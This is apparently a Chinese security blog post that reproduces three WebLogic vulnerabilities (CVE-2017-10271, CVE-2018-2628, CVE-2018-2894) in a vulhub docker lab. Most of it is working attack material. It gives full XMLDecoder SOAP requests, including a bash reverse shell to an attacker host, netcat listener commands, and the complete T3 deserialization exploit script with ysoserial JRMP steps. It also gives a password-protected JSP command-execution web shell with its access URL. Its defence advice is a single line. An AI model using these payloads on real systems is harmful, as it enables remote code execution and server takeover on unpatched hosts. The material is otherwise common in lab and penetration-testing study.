用docker复现weblogic的部分高危漏洞,主要是记录下一些操作,积累自己的知识储备。由于时间与个人水平原因,不对原理做过多叙述。

目录

环境打开方式

CVE-2017-10271 weblogicXML Decoder反序列化漏洞

CVE-2018-2628 WebLogic 反序列化远程代码执行漏洞

POC

CVE-2018-2894 Weblogic任意文件上传漏洞

木马POC

防御方法

总结


本此实验由 2台虚拟机完成

Ubutun 192.168.86.128:7001 (受害机)

Kail       192.168.86.130 (攻击机)

环境打开方式

ubuntu虚拟机下载vulhub-master并安装docker环境,进入目的漏洞文件夹,输入以下命令打开docker镜像:

  1. su root //输入密码 有些时候需要用root权限才能运行docker
  2. docker-compose up -d //运行镜像
  3. docker ps  //查看镜像
  4. 如果在第二步出现报错可用 systemctl restart docker  重启docker服务

以上为第一个环境打开事例,另外2个docker环境打开不做其他叙述。

CVE-2017-10271 weblogicXML Decoder反序列化漏洞

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

这个好像需要用到我之前学的soap服务。

具体步骤 

漏洞url 其中 192.168.86.128:7001 为我虚拟机ip地址(ens33)与weblogic服务开发端口

http://192.168.86.128:7001/wls-wsat/CoordinatorPortType

访问漏洞界面,使用burpsuite抓包,把包的内容改为POC,注意要修改HOST,也就是受害机地址。

写入文件操作 

 

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.86.128:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 641<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/aaa.jsp</string><void method="println"><string><![CDATA[<% out.print("AAAAAAAA"); %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

反弹shell操作(攻击为kail)

首先kail开放一个监听端口

nc -lvvp 3333

burpsuite开始抓包,刷新漏洞界面,http://192.168.86.128:7001/wls-wsat/CoordinatorPortType

替换POC,同样是需要根据自己的ip地址填写。

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.86.128:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 633<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.86.130/3333 0&gt;&amp;1</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

其中反弹shell语句一定要base64编码,不然服务器不能识别,

反弹shell语句

bash -i &gt;&amp; /dev/tcp/192.168.86.130/3333 0&gt;&amp;1

burpsuite中有base64 编码功能

编码后发包

反弹shell成功,漏洞复现完毕:

CVE-2018-2628 WebLogic 反序列化远程代码执行漏洞

简介2018年4月18日,Oracle官方发布了4月份的安全补丁更新CPU(Critical Patch Update),更新中修复了一个高危的 WebLogic 反序列化漏洞CVE-2018-2628。攻击者可以在未授权的情况下通过T3协议对存在漏洞的 WebLogic 组件进行远程攻击,并可获取目标系统所有权限。

//简单的说,要想利用协议层面上的漏洞,就必须搭建响应的服务(JRMP Server)。

工具:0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

在kail中 下载方式:

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

另外还需要一个攻击脚本(会放在下文)

首先在攻击机kail中搭建相应服务

(简单的说就是攻击机在自己的3333端口开启了一个JRMP服务,其中包含了一个在/tmp/文件夹中添加一个AAAAAA文件的命令语句,当然,仅仅创建一个语句还是不够,需要让受害机访问到这个语句)

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections1 “ touch /tmp/AAAAAA”

下面利用poc达到攻击效果(需在kail中开放另外一个终端)

其中192.168.86.128 7001 为受害机的ip地址 及weblogic的开放端口

192.168.86.130 3333 为攻击机的 ip地址及 JRMP开启服务端口

python poc.py 192.168.86.128 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.86.130 3333 JRMPClient

POC

# -*- coding: utf-8 -*-
# Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) Deserialization Remote Command Execution Vulnerability (CVE-2018-2628)
#
# IMPORTANT: Is provided only for educational or information purposes.
#
# Credit: Thanks by Liao Xinxi of NSFOCUS Security Team
# Reference: http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
#
# How to exploit:
# 1. run below command on JRMPListener host
#    1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
#    2) java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
#       e.g. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'
# 2. start a listener on attacker host
#    e.g. nc -nlvp 4040
# 3. run this script on attacker host
#    1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
#    2) python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
#       e.g.
#           a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
#           b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)from __future__ import print_functionimport binascii
import os
import socket
import sys
import timedef generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):#generates ysoserial payloadcommand = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)print("command: " + command)os.system(command)bin_file = open('payload.out','rb').read()return binascii.hexlify(bin_file)def t3_handshake(sock, server_addr):sock.connect(server_addr)sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))time.sleep(1)sock.recv(1024)print('handshake successful')def build_t3_request_object(sock, port):data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))data3 = '1a7727000d3234322e323134'data4 = '2e312e32353461863d1d0000000078'for d in [data1,data2,data3,data4]:sock.send(d.decode('hex'))time.sleep(2)print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))def send_payload_objdata(sock, data):payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'payload+=datapayload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)sock.send(payload.decode('hex'))time.sleep(2)sock.send(payload.decode('hex'))res = ''try:while True:res += sock.recv(4096)time.sleep(0.1)except Exception:passreturn resdef exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.settimeout(65)server_addr = (dip, dport)t3_handshake(sock, server_addr)build_t3_request_object(sock, dport)payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)print("payload: " + payload)rs=send_payload_objdata(sock, payload)print('response: ' + rs)print('exploit completed!')if __name__=="__main__":#check for args, print usage if incorrectif len(sys.argv) != 7:print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] ''[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')sys.exit()dip = sys.argv[1]dport = int(sys.argv[2])path_ysoserial = sys.argv[3]jrmp_listener_ip = sys.argv[4]jrmp_listener_port = sys.argv[5]jrmp_client = sys.argv[6]exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)

之后查看受害机的tmp文件夹是否写入的AAAAAA文件

  1. root权限下 依次输入:
  2. docker-compose exec weblogic bash
  3. cd  /tmp/
  4. ls

可查看到已经成功添加了AAAAAA文件

该漏洞复现完毕

CVE-2018-2894 Weblogic任意文件上传漏洞

简介:

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。

利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。

复现过程

该漏洞位于后台,需要管理员登陆才能进行操作。

登陆URL

http://192.168.86.128:7001/console/login/LoginForm.jsp

在靶机中输入 以下命令获取 weblogic 镜像 密码

docker-compose logs | grep password

可知账号为: weblogic

密码为       :3DSChJA6

登陆。

下列操作为登陆后配置漏洞环境 (需要以管理员权限登陆,进行操作才能进一步复现漏洞)

之后进入配置界面

http://192.168.86.128:7001/ws_utc/config.do

将Work Home  Dir 修改为:

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

其实就是修改了一下上次路径,是我们可以无权限访问(所以设置为css路径,这个好像是weblogic固定的,没那么复杂),其实方便我们jsp木马连接,不然如果要以管理员身份登陆了才能访问到,用菜刀就比较难连了。

点击安全,上传一个jsp cmd马 (AAA.jsp) (由于java配置原因,冰蝎暂时不能用)

ps 名字和密码可以随便填,其中密码可为空

这里需要注意,发送这个文件包之后,需要用burpsuite查看文件包,记录其时间戳,记住不是发包时的,是我们收到的返回包,如下图。

木马POC

<%if("AAA".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>

访问该木马,其中木马URL构成为

ip:7001/ws_utc/css/config/keystore/时间戳_木马文件,

本此实验我的返回包时间戳为 1649572567366 上传木马文件名为 AAA.jsp

所以访问的就是

192.168.86.128:7001/ws_utc/css/config/keystore/1649572567366_AAA.jsp

访问,输入一个whoami命令

http://192.168.86.128:7001/ws_utc/css/config/keystore/1649572567366_AAA.jsp?pwd=AAA&cmd=whoami

至此,漏洞复现完毕。

防御方法

更新版本

总结

很久没更了,这两天正好有空docker复现下weblogic的漏洞,本菜鸡搞docker环境都花了不少时间,其中还有2个镜像环境还运行不出。。。。

复现过程也没啥技术含量,只能说扩充自己的知识储备吧,另外就是尽量打好编程功底,希望以后能有具备深入分析的能力。对于weblogic 有空的话,准备学习下最新爆出来的。。。


参考链接

干货Weblogic漏洞总结 - 知乎

Weblogic 反序列化漏洞(CVE-2018-2628)漫谈 - 知道创宇

Weblogic任意文件上传漏洞(CVE-2018-2894)复现_浅浅爱默默的博客-CSDN博客_cve-2018-2894
Weblogic CVE-2017-10271漏洞复现 - 简书

Weblogic命令执行漏洞(CVE-2018-2628)复现 - 冰淇淋干杯 - 博客园

[web攻防] weblogic 漏洞复现 CVE-2017-10271CVE-2018-2628CVE-2018-2894相关推荐

  1. weblogic漏洞复现整理汇总(vulhub)

    weblogic漏洞复现整理汇总(vulhub) 目录 weblogic漏洞复现整理汇总(vulhub) 一.概述 二.任意文件上传漏洞(CVE-2018-2894) 三.XMLDecoder反序列化 ...

  2. weblogic漏洞复现

    weblogic 漏洞复现 Weblogic ssrf https://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec20170210143122000 ...

  3. weblogic 漏洞复现

    cd vulhub/weblogic/CVE-2018-2894/ //进入对应得目录sudo service docker start //启动docker服务docker-compose up - ...

  4. Java安全-Java Vuls(Fastjson、Weblogic漏洞复现)

    复现几个 Java 的漏洞,文章会分多篇这是第一篇,文章会分组件和中间件两个角度进行漏洞复现 复现使用环境 Vulhub VulFocus 文章目录 组件 Fastjson 1.2.24 反序列化 R ...

  5. vulhub靶场-weblogic漏洞复现

    目录 weak-password CVE-2018-2894 SSRF(CVE-2014-4210) CVE-2020-14882&14883 CVE-2018-2628 CVE-2017-1 ...

  6. [Vulhub] Weblogic 漏洞复现

    文章目录 Weblogic 常规渗透测试环境 0x00 测试环境 0x01 弱口令 0x02 任意文件读取漏洞的利用 0x03 后台上传webshell Weblogic WLS Core Compo ...

  7. weblogic漏洞复现(CVE-2020-2555)

    漏洞环境:fofa自己找,server=weblogic port=7001 一.漏洞简介 该反序列化的gadget存在与coherence包中.具体可以见分析 构造chain类似于common-co ...

  8. 第39天:WEB攻防-通用漏洞CSRFSSRF协议玩法内网探针漏洞利用

    目录 CSRF:跨站请求伪造 定义: 举例 条件 CSRF的防护 SSRF       服务器端请求伪造 举例 漏洞利用攻击: 端口扫描,指纹识别,漏洞利用, 内网探针(端口字典爆破)--通过远程请求 ...

  9. WEB攻防-通用漏洞文件包含LFIRFI伪协议编码算法代码审计

    目录 知识概要 1.解释 2.实现漏洞的三种方式 3.本地包含LFI&远程包含RFI-区别 4.各类脚本语言包含代码写法 思路点 黑盒发现 白盒发现 CTF案例演示 CTF-78-php&am ...

最新文章

  1. 在windows上搭建react-native的android环境
  2. Linux下MySQL 5.7 主从复制(主从同步)
  3. squashfs重打包和ubi重打包
  4. Day18 (一)类的加载器
  5. 列表-列表统计及删除方法扩展
  6. Swing应用程序中的JavaFX 8 DatePicker
  7. 32路视频光端机性能指标及视频特性介绍
  8. 华为浏览器:即日起全面清理违规信息 严管“自媒体”账号
  9. axios async/await
  10. Sersync实时备份服务部署实践
  11. Django 缓存、序列化、信号
  12. mac homebrew安装php5.3,mac mini brew安装了php54,但是我的工作php还是5.3.15?
  13. linux操作系统备份及恢复,备份Linux操作系统的几种方法
  14. 你不知道流量宝的神操作就能免费增加20万网站PV浏览量
  15. AD18 设定PCB板子大小
  16. Ubuntu压缩视频
  17. dell服务器分区表修复,如何修复被Partition Magic损坏的分区表
  18. 【易开嵌入式】rt-thread+stm32f407+nandflash,实现RL-FLASHFS文件系统移植
  19. Win7下虚拟机安装Mac OS X
  20. Q50:TCP如何保证可靠性?

热门文章

  1. cv2.connectedComponentsWithStats 计算不规则连通区域
  2. 用计算机用语说唯美的话,说说唯美的句子
  3. facade设计模式
  4. (数论一)积性函数与狄利克雷卷积
  5. 儿童手表运动轨迹和路径追踪_如何将智能手表或健身追踪器用作静音闹钟
  6. 2020最新pycharm汉化安装(亲测有效)
  7. TensorFlow Eager 教程
  8. 去空格/去空白行在线工具
  9. spring工作机制及原理
  10. Python合适的开发工具